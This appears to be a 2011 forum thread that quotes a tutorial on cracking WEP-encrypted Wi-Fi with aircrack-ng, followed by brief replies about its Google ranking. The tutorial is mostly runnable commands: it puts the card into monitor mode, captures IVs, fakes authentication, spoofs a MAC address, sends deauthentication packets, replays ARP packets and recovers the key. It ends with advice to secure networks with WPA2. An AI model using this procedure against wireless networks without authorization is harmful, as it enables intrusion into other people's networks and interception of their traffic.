Quote:Set your wireless card into monitor mode.

You need to have a wireless card that supports monitor mode. Monitor mode allows you to listen to all packets instead of only packets intended for you. This is done by creating a virtual interface to act as a second wireless adapter using the same hardware. The tool to automate this is airmon-ng. Please substitute your wireless interface accordingly in the following steps.

Take the interface down:

Code:

# ifconfig wlan0 down

Bring the interface back up in monitor mode:

Code:

# airmon-ng start wlan0

Test injection capabilities:

Code:

# aireplay-ng -9 -e ESSID -a 00:11:22:33:44:55 mon0

• -9 tells aireplay to test injection
  
• -e is the ESSID of the AP
  
• -a is the BSSID (MAC Address) of the AP
  
• mon0 is my interface in monitor mode
  

Start grabbing IVs:

Code:

# airodump-ng --bssid 00:11:22:33:44:55 -w ESSID mon0

• –bssid is the MAC Address of the AP
  
• -w is the prefix for the capture files, I normally use the ESSID
  

That’s all you need to do for a passive attack. Now we’ll speed up the process.

Authenticate with the AP:

One of these will work better than the other depending on your scenario. Choose what works best for you.

Code:

# aireplay-ng -1 0 -e ESSID -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF mon0

Code:

# aireplay-ng -1 6000 -o 1 -q 10 -e ESSID -a 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF mon0

If neither of those work MAC filtering may be configured and you will need to spoof your MAC to an existing client. Then you can either move on to the next step masquerading while the client is still up, or sent a deauthenticate packet and try the previous again / wait for the client to reauthenticate and send ARP packets.

Code:

# aireplay-ng -0 1 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF mon0

Inject your packets:

Finally, you’re associated and not getting sent deauthentication packets. As long as you are associated the AP will respond to your packets. If you lose authentication just perform what you had to do in the previous step. Now we’re going to start repeating ARP packets.

Code:

# aireplay-ng -3 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF mon0

Crack your data:

Once you get about 20,000 you can try to see if you can find the key. You can perform this step while still collecting IVs. First we’ll try to crack based on a 64-bit key. Replace ESSID with whatever you put for the -w parameter for airdump previously.

Code:

# aircrack-ng -n 64 ESSID*.cap

If that doesn’t work we’ll try for a 128-bit key.

Code:

# aircrack-ng ESSID*.cap

Conclusion
The process to break through WEP can be completly automated and done in a very short period of time. Make sure you secure your network with something more secure. At the time of this article I use WPA2 with a RADIUS backend.

• If you can choose between the ieee80211 stack and the mac80211 stack for driver support go with the mac stack.
  
• A card designed for monitor mode works best. The one in my laptop was ripped out of a wireless router.
  
• Use more than one device if possible.
  

(07-05-2011, 07:18 AM)slbmeh Wrote: This is the 8th page on google for "WEP Cracking Packet Injection"... Can't seem to get the keyword density right for the OC to actually come up in a search...

(07-05-2011, 07:32 AM)Coder-san Wrote:

(07-05-2011, 07:18 AM)slbmeh Wrote: This is the 8th page on google for "WEP Cracking Packet Injection"... Can't seem to get the keyword density right for the OC to actually come up in a search...

I see it in the 1st page, 7th place. Using exact same keywords without quotes.
[link=http://www.google.com/search?hl=en&client=firefox-a&hs=RLf&rls=org.mozilla%3Aen-US%3Aofficial&q=WEP+Cracking+Packet+Injection&aq=f&aqi=g-v1g-b1&aql=&oq=]WEP Cracking Packet Injection - Google Search - Mozilla Firefox[/link]
Or did you meant your blog's page?

Btw congrats on the domain